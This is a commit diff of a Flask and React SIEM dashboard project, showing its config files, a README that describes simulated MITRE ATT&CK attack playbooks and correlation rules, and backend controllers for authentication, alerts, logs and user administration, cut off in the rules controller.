siem dashbaord complete
|
|
@ -0,0 +1,23 @@
|
|||
# ©AngelaMos | 2026
|
||||
# .env.example
|
||||
|
||||
APP_NAME=siem
|
||||
|
||||
SECRET_KEY=change-me-to-a-random-string
|
||||
|
||||
MONGO_DB=siem
|
||||
MONGO_HOST_PORT=8654
|
||||
|
||||
REDIS_HOST_PORT=6266
|
||||
REDIS_PASSWORD=
|
||||
|
||||
NGINX_HOST_PORT=8431
|
||||
BACKEND_HOST_PORT=5113
|
||||
FRONTEND_HOST_PORT=3420
|
||||
|
||||
VITE_API_URL=/api
|
||||
|
||||
LOG_LEVEL=INFO
|
||||
DEBUG=false
|
||||
|
||||
CLOUDFLARE_TUNNEL_TOKEN=
|
||||
|
|
@ -0,0 +1,17 @@
|
|||
# ©AngelaMos | 2026
|
||||
# .gitignore
|
||||
|
||||
.env
|
||||
__pycache__/
|
||||
*.pyc
|
||||
.venv/
|
||||
*.egg-info/
|
||||
dist/
|
||||
build/
|
||||
.mypy_cache/
|
||||
.ruff_cache/
|
||||
.pytest_cache/
|
||||
node_modules/
|
||||
frontend/dist/
|
||||
.DS_Store
|
||||
/frontend/.pnpm-store
|
||||
|
|
@ -0,0 +1,46 @@
|
|||
[style]
|
||||
based_on_style = pep8
|
||||
column_limit = 77
|
||||
indent_width = 4
|
||||
continuation_indent_width = 4
|
||||
indent_closing_brackets = false
|
||||
dedent_closing_brackets = true
|
||||
indent_blank_lines = false
|
||||
spaces_before_comment = 2
|
||||
spaces_around_power_operator = false
|
||||
spaces_around_default_or_named_assign = true
|
||||
space_between_ending_comma_and_closing_bracket = false
|
||||
space_inside_brackets = false
|
||||
spaces_around_subscript_colon = true
|
||||
blank_line_before_nested_class_or_def = false
|
||||
blank_line_before_class_docstring = false
|
||||
blank_lines_around_top_level_definition = 2
|
||||
blank_lines_between_top_level_imports_and_variables = 2
|
||||
blank_line_before_module_docstring = false
|
||||
split_before_logical_operator = true
|
||||
split_before_first_argument = true
|
||||
split_before_named_assigns = true
|
||||
split_complex_comprehension = true
|
||||
split_before_expression_after_opening_paren = false
|
||||
split_before_closing_bracket = true
|
||||
split_all_comma_separated_values = true
|
||||
split_all_top_level_comma_separated_values = false
|
||||
coalesce_brackets = false
|
||||
each_dict_entry_on_separate_line = true
|
||||
allow_multiline_lambdas = false
|
||||
allow_multiline_dictionary_keys = false
|
||||
split_penalty_import_names = 0
|
||||
join_multiple_lines = false
|
||||
align_closing_bracket_with_visual_indent = true
|
||||
arithmetic_precedence_indication = false
|
||||
split_penalty_for_added_line_split = 275
|
||||
use_tabs = false
|
||||
split_before_dot = false
|
||||
split_arguments_when_comma_terminated = true
|
||||
i18n_function_call = ['_', 'N_', 'gettext', 'ngettext']
|
||||
i18n_comment = ['# Translators:', '# i18n:']
|
||||
split_penalty_comprehension = 80
|
||||
split_penalty_after_opening_bracket = 280
|
||||
split_penalty_before_if_expr = 0
|
||||
split_penalty_bitwise_operator = 290
|
||||
split_penalty_logical_operator = 0
|
||||
|
|
@ -0,0 +1,103 @@
|
|||
<!-- ©AngelaMos | 2026 — README.md -->
|
||||
|
||||
# SIEM Dashboard
|
||||
|
||||
A full-stack Security Information and Event Management dashboard with a built-in attack scenario simulation engine. Run realistic cyberattack playbooks, watch log events flow through a correlation engine in real time, and investigate generated alerts — all from the browser.
|
||||
|
||||
**Live Demo:** [siem.carterperez-dev.com](https://siem.carterperez-dev.com)
|
||||
|
||||
---
|
||||
|
||||
## Dashboard
|
||||
|
||||
Real-time overview of ingested events, active alerts, severity distribution, and top source IPs.
|
||||
|
||||

|
||||
|
||||
## Log Viewer
|
||||
|
||||
Paginated, filterable log table showing every event ingested by the system — firewall, auth, IDS, endpoint, DNS, and proxy logs. Click any row to inspect the full normalized payload.
|
||||
|
||||

|
||||
|
||||
## Alerts
|
||||
|
||||
Alerts fire when correlation rules detect suspicious patterns in the event stream. Each alert shows the matched rule, severity, status, grouped source, and the specific events that triggered it. Analysts can acknowledge, investigate, resolve, or mark as false positive.
|
||||
|
||||

|
||||
|
||||
## Correlation Rules
|
||||
|
||||
Define detection logic using three rule types:
|
||||
|
||||
- **Threshold** — fire when N events from the same group occur within a time window
|
||||
- **Sequence** — fire when an ordered series of event patterns appears (e.g. failed logins followed by a success)
|
||||
- **Aggregation** — fire when distinct values of a field exceed a threshold (e.g. one IP hitting 10+ ports)
|
||||
|
||||

|
||||
|
||||
## Scenario Engine
|
||||
|
||||
Four YAML-based attack playbooks mapped to real MITRE ATT&CK techniques. Start a scenario, adjust playback speed, pause/resume — events flow through the full pipeline in real time.
|
||||
|
||||
| Playbook | Techniques | Events |
|
||||
|----------|-----------|--------|
|
||||
| Brute Force with Lateral Movement | T1110.001, T1021.004 | 29 |
|
||||
| Data Exfiltration via DNS Tunneling | T1046, T1005, T1048.003, T1071.004 | 22 |
|
||||
| Phishing to C2 Beaconing | T1566.001, T1204.002, T1059.001, T1071.001, T1573.002 | 18 |
|
||||
| Privilege Escalation and Persistence | T1068, T1136.001, T1053.005, T1070.002 | 20 |
|
||||
|
||||

|
||||
|
||||
## How It Works
|
||||
|
||||
```
|
||||
YAML Playbook ──→ Scenario Thread (replays events with timing)
|
||||
│
|
||||
▼
|
||||
LogEvent.ingest()
|
||||
│
|
||||
┌───────────┴────────────┐
|
||||
▼ ▼
|
||||
MongoDB (logs) Redis Stream (XADD)
|
||||
│
|
||||
┌──────────┴──────────┐
|
||||
▼ ▼
|
||||
Correlation Engine SSE Generator
|
||||
(XREADGROUP) (XREAD)
|
||||
│ │
|
||||
Rule.evaluate() ▼
|
||||
│ Frontend Live Feed
|
||||
▼
|
||||
Alert.create()
|
||||
│
|
||||
┌───────┴───────┐
|
||||
▼ ▼
|
||||
MongoDB (alerts) Alert SSE → Frontend
|
||||
```
|
||||
|
||||
## Tech Stack
|
||||
|
||||
| Layer | Stack |
|
||||
|-------|-------|
|
||||
| Backend | Flask, MongoEngine, Redis Streams, Pydantic, Argon2, JWT |
|
||||
| Frontend | React 19, TypeScript, Vite, TanStack Query, Zustand, visx, SCSS Modules |
|
||||
| Data | MongoDB 8, Redis 7 |
|
||||
| Infra | Docker Compose, Nginx, Gunicorn |
|
||||
|
||||
## Quick Start
|
||||
|
||||
```bash
|
||||
git clone <repo-url>
|
||||
cd siem-dashboard
|
||||
docker compose -f dev.compose.yml up --build
|
||||
```
|
||||
|
||||
- **App:** http://localhost:8431
|
||||
- **API:** http://localhost:8431/api/v1
|
||||
|
||||
Register an account, create a correlation rule, start a scenario, and watch the data flow.
|
||||
|
||||
## Learn More
|
||||
|
||||
See the [`learn/`](learn/) folder for in-depth documentation on SIEM concepts, architecture decisions, implementation walkthroughs, and extension challenges.
|
||||
|
|
@ -0,0 +1,47 @@
|
|||
# ⒸAngelaMos | 2025 | CarterPerez-dev
|
||||
[style]
|
||||
based_on_style = pep8
|
||||
column_limit = 89
|
||||
indent_width = 4
|
||||
continuation_indent_width = 4
|
||||
indent_closing_brackets = false
|
||||
dedent_closing_brackets = true
|
||||
indent_blank_lines = false
|
||||
spaces_before_comment = 2
|
||||
spaces_around_power_operator = false
|
||||
spaces_around_default_or_named_assign = true
|
||||
space_between_ending_comma_and_closing_bracket = false
|
||||
space_inside_brackets = false
|
||||
spaces_around_subscript_colon = true
|
||||
blank_line_before_nested_class_or_def = false
|
||||
blank_line_before_class_docstring = false
|
||||
blank_lines_around_top_level_definition = 2
|
||||
blank_lines_between_top_level_imports_and_variables = 2
|
||||
blank_line_before_module_docstring = false
|
||||
split_before_logical_operator = true
|
||||
split_before_first_argument = true
|
||||
split_before_named_assigns = true
|
||||
split_complex_comprehension = true
|
||||
split_before_expression_after_opening_paren = false
|
||||
split_before_closing_bracket = true
|
||||
split_all_comma_separated_values = true
|
||||
split_all_top_level_comma_separated_values = false
|
||||
coalesce_brackets = false
|
||||
each_dict_entry_on_separate_line = true
|
||||
allow_multiline_lambdas = false
|
||||
allow_multiline_dictionary_keys = false
|
||||
split_penalty_import_names = 0
|
||||
join_multiple_lines = false
|
||||
align_closing_bracket_with_visual_indent = true
|
||||
arithmetic_precedence_indication = false
|
||||
split_penalty_for_added_line_split = 275
|
||||
use_tabs = false
|
||||
split_before_dot = false
|
||||
split_arguments_when_comma_terminated = true
|
||||
i18n_function_call = ['_', 'N_', 'gettext', 'ngettext']
|
||||
i18n_comment = ['# Translators:', '# i18n:']
|
||||
split_penalty_comprehension = 80
|
||||
split_penalty_after_opening_bracket = 280
|
||||
split_penalty_before_if_expr = 0
|
||||
split_penalty_bitwise_operator = 290
|
||||
split_penalty_logical_operator = 0
|
||||
|
|
@ -0,0 +1,59 @@
|
|||
"""
|
||||
©AngelaMos | 2026
|
||||
__init__.py
|
||||
"""
|
||||
|
||||
from flask import Flask
|
||||
from flask_cors import CORS
|
||||
|
||||
from app.config import settings
|
||||
|
||||
|
||||
def create_app() -> Flask:
|
||||
"""
|
||||
Application factory that
|
||||
wires up all extensions and blueprints
|
||||
"""
|
||||
app = Flask(__name__)
|
||||
app.config.from_mapping(
|
||||
MONGO_URI = settings.MONGO_URI,
|
||||
MONGO_DB = settings.MONGO_DB,
|
||||
REDIS_URL = settings.REDIS_URL,
|
||||
SECRET_KEY = settings.SECRET_KEY,
|
||||
DEBUG = settings.DEBUG,
|
||||
)
|
||||
|
||||
CORS(app, origins = settings.CORS_ORIGINS)
|
||||
|
||||
from app.extensions import init_mongo, init_redis
|
||||
init_mongo(app)
|
||||
init_redis(app)
|
||||
|
||||
from app.core.errors import register_error_handlers
|
||||
register_error_handlers(app)
|
||||
|
||||
from app.core.rate_limiting import init_limiter
|
||||
init_limiter(app)
|
||||
|
||||
from app.routes import register_blueprints
|
||||
register_blueprints(app)
|
||||
|
||||
from app.cli import register_cli
|
||||
register_cli(app)
|
||||
|
||||
from app.core.streaming import ensure_consumer_group
|
||||
ensure_consumer_group(settings.LOG_STREAM_KEY)
|
||||
ensure_consumer_group(settings.ALERT_STREAM_KEY)
|
||||
|
||||
from app.models.ScenarioRun import ScenarioRun
|
||||
for orphan in ScenarioRun.get_active_runs():
|
||||
orphan.mark_stopped()
|
||||
|
||||
from app.engine.correlation import start_engine
|
||||
start_engine()
|
||||
|
||||
@app.get("/health")
|
||||
def health(): # type: ignore[no-untyped-def]
|
||||
return "1"
|
||||
|
||||
return app
|
||||
|
|
@ -0,0 +1,60 @@
|
|||
"""
|
||||
©AngelaMos | 2026
|
||||
cli.py
|
||||
"""
|
||||
|
||||
import click
|
||||
from flask import Flask
|
||||
|
||||
from app.core.auth import hash_password
|
||||
from app.models.User import User, UserRole
|
||||
|
||||
|
||||
@click.group("admin")
|
||||
def admin_cli() -> None:
|
||||
"""
|
||||
Administrative commands for the SIEM platform
|
||||
"""
|
||||
|
||||
|
||||
@admin_cli.command("create")
|
||||
@click.option("--username", required = True, help = "Admin username")
|
||||
@click.option("--email", required = True, help = "Admin email address")
|
||||
@click.option("--password", prompt = True, hide_input = True, confirmation_prompt = True, help = "Admin password")
|
||||
def create_admin(username: str, email: str, password: str) -> None:
|
||||
"""
|
||||
Create a new admin account or promote an existing user
|
||||
"""
|
||||
existing = User.find_by_username(username)
|
||||
if existing is not None:
|
||||
if existing.role == UserRole.ADMIN:
|
||||
click.echo(f"User '{username}' is already an admin.")
|
||||
return
|
||||
existing.set_role(UserRole.ADMIN)
|
||||
click.echo(f"Promoted existing user '{username}' to admin.")
|
||||
return
|
||||
|
||||
existing_email = User.find_by_email(email)
|
||||
if existing_email is not None:
|
||||
if existing_email.role == UserRole.ADMIN:
|
||||
click.echo(f"User with email '{email}' is already an admin.")
|
||||
return
|
||||
existing_email.set_role(UserRole.ADMIN)
|
||||
click.echo(f"Promoted existing user '{existing_email.username}' to admin.")
|
||||
return
|
||||
|
||||
hashed = hash_password(password)
|
||||
User.create_user(
|
||||
username = username,
|
||||
email = email,
|
||||
password_hash = hashed,
|
||||
role = UserRole.ADMIN,
|
||||
)
|
||||
click.echo(f"Admin account '{username}' created successfully.")
|
||||
|
||||
|
||||
def register_cli(app: Flask) -> None:
|
||||
"""
|
||||
Attach all CLI command groups to the Flask app
|
||||
"""
|
||||
app.cli.add_command(admin_cli)
|
||||
|
|
@ -0,0 +1,70 @@
|
|||
"""
|
||||
©AngelaMos | 2026
|
||||
config.py
|
||||
"""
|
||||
|
||||
from pathlib import Path
|
||||
from pydantic_settings import (
|
||||
BaseSettings,
|
||||
SettingsConfigDict,
|
||||
)
|
||||
|
||||
|
||||
class Settings(BaseSettings):
|
||||
"""
|
||||
Application settings loaded from environment variables
|
||||
"""
|
||||
model_config = SettingsConfigDict(
|
||||
env_file = ".env",
|
||||
env_file_encoding = "utf-8",
|
||||
case_sensitive = False,
|
||||
)
|
||||
|
||||
MONGO_URI: str = "mongodb://mongo:27017/siem"
|
||||
MONGO_DB: str = "siem"
|
||||
|
||||
REDIS_URL: str = "redis://redis:6379/0"
|
||||
|
||||
SECRET_KEY: str = "change-me-in-production"
|
||||
JWT_ALGORITHM: str = "HS256"
|
||||
JWT_EXPIRATION_HOURS: int = 24
|
||||
|
||||
CORS_ORIGINS: list[str] = ["http://localhost:5173"]
|
||||
|
||||
LOG_STREAM_KEY: str = "siem:logs"
|
||||
ALERT_STREAM_KEY: str = "siem:alerts"
|
||||
STREAM_MAXLEN: int = 10000
|
||||
STREAM_READ_COUNT: int = 10
|
||||
STREAM_BLOCK_MS: int = 2000
|
||||
SSE_READ_COUNT: int = 50
|
||||
SSE_BLOCK_MS: int = 3000
|
||||
CONSUMER_GROUP: str = "siem-correlation"
|
||||
CONSUMER_NAME: str = "engine-1"
|
||||
|
||||
SCENARIO_PLAYBOOK_DIR: str = str(Path(__file__).parent / "scenarios" / "playbooks")
|
||||
SCENARIO_MIN_SPEED: float = 0.1
|
||||
SCENARIO_MAX_SPEED: float = 10.0
|
||||
|
||||
CORRELATION_COOLDOWN_SECONDS: int = 300
|
||||
CORRELATION_RULE_CACHE_SECONDS: int = 30
|
||||
CORRELATION_ERROR_BACKOFF_SECONDS: float = 1.0
|
||||
RULE_TEST_MAX_HOURS: int = 72
|
||||
|
||||
DEFAULT_PAGE_SIZE: int = 50
|
||||
MAX_PAGE_SIZE: int = 200
|
||||
|
||||
TIMELINE_DEFAULT_HOURS: int = 24
|
||||
TIMELINE_BUCKET_MINUTES: int = 15
|
||||
TOP_SOURCES_LIMIT: int = 10
|
||||
|
||||
RATELIMIT_STRATEGY: str = "moving-window"
|
||||
RATELIMIT_HEADERS_ENABLED: bool = True
|
||||
RATELIMIT_SWALLOW_ERRORS: bool = True
|
||||
RATELIMIT_DEFAULT: str = "200/minute"
|
||||
RATELIMIT_AUTH: str = "10/minute"
|
||||
|
||||
LOG_LEVEL: str = "INFO"
|
||||
DEBUG: bool = False
|
||||
|
||||
|
||||
settings = Settings()
|
||||
|
|
@ -0,0 +1,4 @@
|
|||
"""
|
||||
©AngelaMos | 2026
|
||||
__init__.py
|
||||
"""
|
||||
|
|
@ -0,0 +1,122 @@
|
|||
"""
|
||||
©AngelaMos | 2026
|
||||
admin_ctrl.py
|
||||
"""
|
||||
|
||||
from typing import Any
|
||||
|
||||
from flask import g
|
||||
|
||||
from app.core.errors import ForbiddenError, NotFoundError
|
||||
from app.models.User import User, UserRole
|
||||
from app.schemas.auth import UserResponse
|
||||
|
||||
|
||||
def list_users() -> dict[str, Any]:
|
||||
"""
|
||||
Paginated listing of all user accounts
|
||||
"""
|
||||
data = g.validated
|
||||
result = User.list_all(page = data.page, per_page = data.per_page)
|
||||
result["items"] = [
|
||||
UserResponse(
|
||||
id = str(u.id),
|
||||
username = u.username,
|
||||
email = u.email,
|
||||
role = u.role,
|
||||
is_active = u.is_active,
|
||||
).model_dump()
|
||||
for u in result["items"]
|
||||
]
|
||||
return result
|
||||
|
||||
|
||||
def get_user(user_id: str) -> dict[str, Any]:
|
||||
"""
|
||||
Retrieve a single user by ID
|
||||
"""
|
||||
user = User.get_by_id(user_id)
|
||||
return UserResponse(
|
||||
id = str(user.id),
|
||||
username = user.username,
|
||||
email = user.email,
|
||||
role = user.role,
|
||||
is_active = user.is_active,
|
||||
).model_dump()
|
||||
|
||||
|
||||
def update_role(user_id: str) -> dict[str, Any]:
|
||||
"""
|
||||
Change a user's role with last-admin protection
|
||||
"""
|
||||
caller = g.current_user
|
||||
target = User.get_by_id(user_id)
|
||||
data = g.validated
|
||||
|
||||
if str(target.id) == str(caller.id) and data.role != UserRole.ADMIN and User.count_admins() <= 1:
|
||||
raise ForbiddenError("Cannot demote the last admin")
|
||||
|
||||
target.set_role(data.role)
|
||||
return UserResponse(
|
||||
id = str(target.id),
|
||||
username = target.username,
|
||||
email = target.email,
|
||||
role = target.role,
|
||||
is_active = target.is_active,
|
||||
).model_dump()
|
||||
|
||||
|
||||
def _prevent_self_action(caller: User, target: User, action: str) -> None:
|
||||
"""
|
||||
Block admins from deactivating or deleting their own account
|
||||
"""
|
||||
if str(target.id) == str(caller.id):
|
||||
raise ForbiddenError(f"Cannot {action} your own account")
|
||||
|
||||
|
||||
def deactivate_user(user_id: str) -> dict[str, Any]:
|
||||
"""
|
||||
Soft-delete a user by marking them inactive
|
||||
"""
|
||||
caller = g.current_user
|
||||
target = User.get_by_id(user_id)
|
||||
_prevent_self_action(caller, target, "deactivate")
|
||||
|
||||
target.deactivate()
|
||||
return UserResponse(
|
||||
id = str(target.id),
|
||||
username = target.username,
|
||||
email = target.email,
|
||||
role = target.role,
|
||||
is_active = target.is_active,
|
||||
).model_dump()
|
||||
|
||||
|
||||
def activate_user(user_id: str) -> dict[str, Any]:
|
||||
"""
|
||||
Re-enable a previously deactivated user
|
||||
"""
|
||||
target = User.get_by_id(user_id)
|
||||
if target.is_active:
|
||||
raise NotFoundError("User is already active")
|
||||
|
||||
target.activate()
|
||||
return UserResponse(
|
||||
id = str(target.id),
|
||||
username = target.username,
|
||||
email = target.email,
|
||||
role = target.role,
|
||||
is_active = target.is_active,
|
||||
).model_dump()
|
||||
|
||||
|
||||
def delete_user(user_id: str) -> dict[str, Any]:
|
||||
"""
|
||||
Permanently remove a user document
|
||||
"""
|
||||
caller = g.current_user
|
||||
target = User.get_by_id(user_id)
|
||||
_prevent_self_action(caller, target, "delete")
|
||||
|
||||
target.hard_delete()
|
||||
return {"deleted": True}
|
||||
|
|
@ -0,0 +1,70 @@
|
|||
"""
|
||||
©AngelaMos | 2026
|
||||
alert_ctrl.py
|
||||
"""
|
||||
|
||||
from typing import Any
|
||||
|
||||
from flask import Response, g
|
||||
|
||||
from app.config import settings
|
||||
from app.core.streaming import sse_generator
|
||||
from app.models.Alert import Alert
|
||||
|
||||
|
||||
def list_alerts() -> dict[str, Any]:
|
||||
"""
|
||||
Return paginated and filtered alerts
|
||||
"""
|
||||
params = g.validated
|
||||
filters = {}
|
||||
if params.status:
|
||||
filters["status"] = params.status
|
||||
if params.severity:
|
||||
filters["severity"] = params.severity
|
||||
|
||||
qs = Alert.objects(**filters).order_by("-created_at")
|
||||
return Alert.paginate(
|
||||
queryset=qs,
|
||||
page=params.page,
|
||||
per_page=params.per_page,
|
||||
)
|
||||
|
||||
|
||||
def get_alert_detail(alert_id: str) -> dict[str, Any]:
|
||||
"""
|
||||
Return an alert with its matched log events
|
||||
"""
|
||||
alert = Alert.get_by_id(alert_id)
|
||||
return alert.get_with_events()
|
||||
|
||||
|
||||
def update_alert_status(alert_id: str) -> Alert:
|
||||
"""
|
||||
Transition an alert to a new lifecycle status
|
||||
"""
|
||||
data = g.validated
|
||||
alert = Alert.get_by_id(alert_id)
|
||||
username = None
|
||||
if g.current_user:
|
||||
username = g.current_user.username
|
||||
alert.update_status(
|
||||
status=data.status,
|
||||
username=username,
|
||||
notes=data.notes,
|
||||
)
|
||||
return alert
|
||||
|
||||
|
||||
def stream_alerts() -> Response:
|
||||
"""
|
||||
SSE endpoint that tails the alert Redis Stream
|
||||
"""
|
||||
return Response(
|
||||
sse_generator(settings.ALERT_STREAM_KEY, event_type="alert"),
|
||||
mimetype="text/event-stream",
|
||||
headers={
|
||||
"Cache-Control": "no-cache",
|
||||
"X-Accel-Buffering": "no",
|
||||
},
|
||||
)
|
||||
|
|
@ -0,0 +1,147 @@
|
|||
"""
|
||||
©AngelaMos | 2026
|
||||
auth_ctrl.py
|
||||
"""
|
||||
|
||||
from typing import Any
|
||||
|
||||
from flask import g
|
||||
|
||||
from app.core.auth import (
|
||||
hash_password,
|
||||
verify_password,
|
||||
verify_password_timing_safe,
|
||||
create_access_token,
|
||||
)
|
||||
from app.core.errors import ConflictError, AuthenticationError, ValidationError
|
||||
from app.models.User import User
|
||||
from app.schemas.auth import TokenResponse, UserResponse, UpdateProfileResponse
|
||||
|
||||
|
||||
def register() -> dict[str, Any]:
|
||||
"""
|
||||
Register a new analyst account
|
||||
"""
|
||||
data = g.validated
|
||||
|
||||
if User.username_exists(data.username):
|
||||
raise ConflictError("Username already taken")
|
||||
if User.email_exists(data.email):
|
||||
raise ConflictError("Email already registered")
|
||||
|
||||
hashed = hash_password(data.password)
|
||||
user = User.create_user(
|
||||
username = data.username,
|
||||
email = data.email,
|
||||
password_hash = hashed,
|
||||
)
|
||||
|
||||
token = create_access_token(
|
||||
user_id = str(user.id),
|
||||
extra_claims = {
|
||||
"username": user.username,
|
||||
"role": user.role,
|
||||
},
|
||||
)
|
||||
return TokenResponse(
|
||||
access_token = token,
|
||||
).model_dump()
|
||||
|
||||
|
||||
def login() -> dict[str, Any]:
|
||||
"""
|
||||
Authenticate and return a JWT
|
||||
"""
|
||||
data = g.validated
|
||||
|
||||
user = User.find_by_username(data.username)
|
||||
existing_hash = user.password_hash if user else None
|
||||
is_valid, new_hash = verify_password_timing_safe(data.password, existing_hash)
|
||||
|
||||
if not is_valid or user is None:
|
||||
raise AuthenticationError("Invalid username or password")
|
||||
|
||||
if not user.is_active:
|
||||
raise AuthenticationError("Account is deactivated")
|
||||
|
||||
if new_hash:
|
||||
user.password_hash = new_hash
|
||||
user.save()
|
||||
|
||||
token = create_access_token(
|
||||
user_id = str(user.id),
|
||||
extra_claims = {
|
||||
"username": user.username,
|
||||
"role": user.role,
|
||||
},
|
||||
)
|
||||
return TokenResponse(
|
||||
access_token = token,
|
||||
).model_dump()
|
||||
|
||||
|
||||
def update_profile() -> dict[str, Any]:
|
||||
"""
|
||||
Update the authenticated user's own profile fields
|
||||
"""
|
||||
user = g.current_user
|
||||
data = g.validated
|
||||
|
||||
is_valid, _ = verify_password(data.current_password, user.password_hash)
|
||||
if not is_valid:
|
||||
raise AuthenticationError("Current password is incorrect")
|
||||
|
||||
updates: dict[str, str] = {}
|
||||
|
||||
if data.username is not None and data.username != user.username:
|
||||
if User.username_exists(data.username):
|
||||
raise ConflictError("Username already taken")
|
||||
updates["username"] = data.username
|
||||
|
||||
if data.email is not None and data.email != user.email:
|
||||
if User.email_exists(data.email):
|
||||
raise ConflictError("Email already registered")
|
||||
updates["email"] = data.email
|
||||
|
||||
if data.password is not None:
|
||||
updates["password_hash"] = hash_password(data.password)
|
||||
|
||||
if not updates:
|
||||
raise ValidationError("No fields to update")
|
||||
|
||||
user.update_profile(**updates)
|
||||
|
||||
new_token: str | None = None
|
||||
if "username" in updates:
|
||||
new_token = create_access_token(
|
||||
user_id = str(user.id),
|
||||
extra_claims = {
|
||||
"username": user.username,
|
||||
"role": user.role,
|
||||
},
|
||||
)
|
||||
|
||||
return UpdateProfileResponse(
|
||||
user = UserResponse(
|
||||
id = str(user.id),
|
||||
username = user.username,
|
||||
email = user.email,
|
||||
role = user.role,
|
||||
is_active = user.is_active,
|
||||
),
|
||||
access_token = new_token,
|
||||
).model_dump(exclude_none = True)
|
||||
|
||||
|
||||
def me() -> dict[str, Any]:
|
||||
"""
|
||||
Return the current authenticated user profile
|
||||
"""
|
||||
user = g.current_user
|
||||
return UserResponse(
|
||||
id = str(user.id),
|
||||
username = user.username,
|
||||
email = user.email,
|
||||
role = user.role,
|
||||
is_active = user.is_active,
|
||||
).model_dump()
|
||||
|
|
@ -0,0 +1,65 @@
|
|||
"""
|
||||
©AngelaMos | 2026
|
||||
dashboard_ctrl.py
|
||||
"""
|
||||
|
||||
from typing import Any
|
||||
|
||||
from flask import g
|
||||
|
||||
from app.models.Alert import Alert, AlertStatus
|
||||
from app.models.LogEvent import LogEvent
|
||||
|
||||
|
||||
def overview() -> dict[str, Any]:
|
||||
"""
|
||||
Return combined dashboard statistics
|
||||
"""
|
||||
alert_pipeline = [
|
||||
{
|
||||
"$group": {
|
||||
"_id": "$status",
|
||||
"count": {"$sum": 1},
|
||||
}
|
||||
},
|
||||
]
|
||||
alerts_by_status = {
|
||||
doc["_id"]: doc["count"]
|
||||
for doc in Alert.objects.aggregate(alert_pipeline)
|
||||
}
|
||||
|
||||
return {
|
||||
"total_events": LogEvent.objects.count(),
|
||||
"total_alerts": Alert.objects.count(),
|
||||
"open_alerts": alerts_by_status.get(AlertStatus.NEW, 0)
|
||||
+ alerts_by_status.get(AlertStatus.ACKNOWLEDGED, 0)
|
||||
+ alerts_by_status.get(AlertStatus.INVESTIGATING, 0),
|
||||
"alerts_by_status": alerts_by_status,
|
||||
"severity_breakdown": LogEvent.severity_breakdown(),
|
||||
}
|
||||
|
||||
|
||||
def timeline() -> list[dict[str, Any]]:
|
||||
"""
|
||||
Return event counts bucketed over a time window
|
||||
"""
|
||||
params = g.validated
|
||||
return LogEvent.timeline_aggregation(
|
||||
hours=params.hours,
|
||||
bucket_minutes=params.bucket_minutes,
|
||||
)
|
||||
|
||||
|
||||
def severity_breakdown() -> list[dict[str, Any]]:
|
||||
"""
|
||||
Return event counts grouped by severity level
|
||||
"""
|
||||
return LogEvent.severity_breakdown()
|
||||
|
||||
|
||||
def top_sources() -> list[dict[str, Any]]:
|
||||
"""
|
||||
Return the most frequent source IPs
|
||||
"""
|
||||
params = g.validated
|
||||
return LogEvent.top_sources(limit=params.limit)
|
||||
|
|
@ -0,0 +1,117 @@
|
|||
"""
|
||||
©AngelaMos | 2026
|
||||
log_ctrl.py
|
||||
"""
|
||||
|
||||
from typing import Any
|
||||
|
||||
from flask import Response, g
|
||||
|
||||
from app.config import settings
|
||||
from app.core.streaming import publish_event, sse_generator
|
||||
from app.engine.normalizer import normalize
|
||||
from app.engine.severity import classify
|
||||
from app.models.LogEvent import LogEvent
|
||||
|
||||
|
||||
def list_logs() -> dict[str, Any]:
|
||||
"""
|
||||
Return paginated and filtered log events
|
||||
"""
|
||||
params = g.validated
|
||||
filters = {}
|
||||
if params.source_type:
|
||||
filters["source_type"] = params.source_type
|
||||
if params.severity:
|
||||
filters["severity"] = params.severity
|
||||
if params.source_ip:
|
||||
filters["source_ip"] = params.source_ip
|
||||
if params.event_type:
|
||||
filters["event_type"] = params.event_type
|
||||
|
||||
qs = LogEvent.objects(**filters).order_by("-timestamp")
|
||||
return LogEvent.paginate(
|
||||
queryset = qs,
|
||||
page = params.page,
|
||||
per_page = params.per_page,
|
||||
)
|
||||
|
||||
|
||||
def get_log(log_id: str) -> LogEvent:
|
||||
"""
|
||||
Return a single log event by ID
|
||||
"""
|
||||
return LogEvent.get_by_id(log_id)
|
||||
|
||||
|
||||
def ingest_log() -> LogEvent:
|
||||
"""
|
||||
Normalize, classify, persist, and publish a log event
|
||||
"""
|
||||
raw = g.validated.model_dump(exclude_none = True)
|
||||
|
||||
normalized = normalize(raw)
|
||||
severity = classify(normalized)
|
||||
|
||||
event = LogEvent.create_event(
|
||||
**normalized,
|
||||
severity = severity,
|
||||
)
|
||||
|
||||
publish_event(
|
||||
settings.LOG_STREAM_KEY,
|
||||
{
|
||||
"id": str(event.id),
|
||||
"timestamp": str(event.timestamp),
|
||||
"source_type": event.source_type,
|
||||
"severity": event.severity,
|
||||
"event_type": event.event_type,
|
||||
"source_ip": event.source_ip,
|
||||
"dest_ip": event.dest_ip,
|
||||
"hostname": event.hostname,
|
||||
"username": event.username,
|
||||
},
|
||||
)
|
||||
|
||||
return event
|
||||
|
||||
|
||||
def search_logs() -> dict[str, Any]:
|
||||
"""
|
||||
Full text search across log events
|
||||
"""
|
||||
params = g.validated
|
||||
return LogEvent.search(
|
||||
query = params.q,
|
||||
page = params.page,
|
||||
per_page = params.per_page,
|
||||
)
|
||||
|
||||
|
||||
def stream_logs() -> Response:
|
||||
"""
|
||||
SSE endpoint that tails the log Redis Stream
|
||||
"""
|
||||
return Response(
|
||||
sse_generator(settings.LOG_STREAM_KEY,
|
||||
event_type = "log"),
|
||||
mimetype = "text/event-stream",
|
||||
headers = {
|
||||
"Cache-Control": "no-cache",
|
||||
"X-Accel-Buffering": "no",
|
||||
},
|
||||
)
|
||||
|
||||
|
||||
def pivot() -> list[Any]:
|
||||
"""
|
||||
Forensic pivot by IP, username, or hostname
|
||||
"""
|
||||
params = g.validated
|
||||
if params.ip:
|
||||
return LogEvent.get_by_source_ip(params.ip)
|
||||
if params.username:
|
||||
return LogEvent.get_by_username(params.username)
|
||||
if params.hostname:
|
||||
return LogEvent.get_by_hostname(params.hostname)
|
||||
return []
|
||||
|
|
@ -0,0 +1,118 @@
|
|||
"""
|
||||
©AngelaMos | 2026
|
||||
rule_ctrl.py
|
||||
"""
|
||||
|
||||
from typing import Any
|
||||
from datetime import datetime, timedelta, UTC
|
||||
|
||||
from flask import g
|
||||
|
||||
from app.engine.correlation import (
|
||||
CorrelationState,
|
||||
evaluate_rule,
|
||||
)
|
||||
from app.models.CorrelationRule import CorrelationRule
|
||||
from app.models.LogEvent import LogEvent
|
||||
|
||||
|
||||
def list_rules() -> list[Any]:
|
||||
"""
|
||||
Return all correlation rules
|
||||
"""
|
||||
return list(CorrelationRule.objects.order_by("-created_at")) # type: ignore[no-untyped-call]
|
||||
|
||||
|
||||
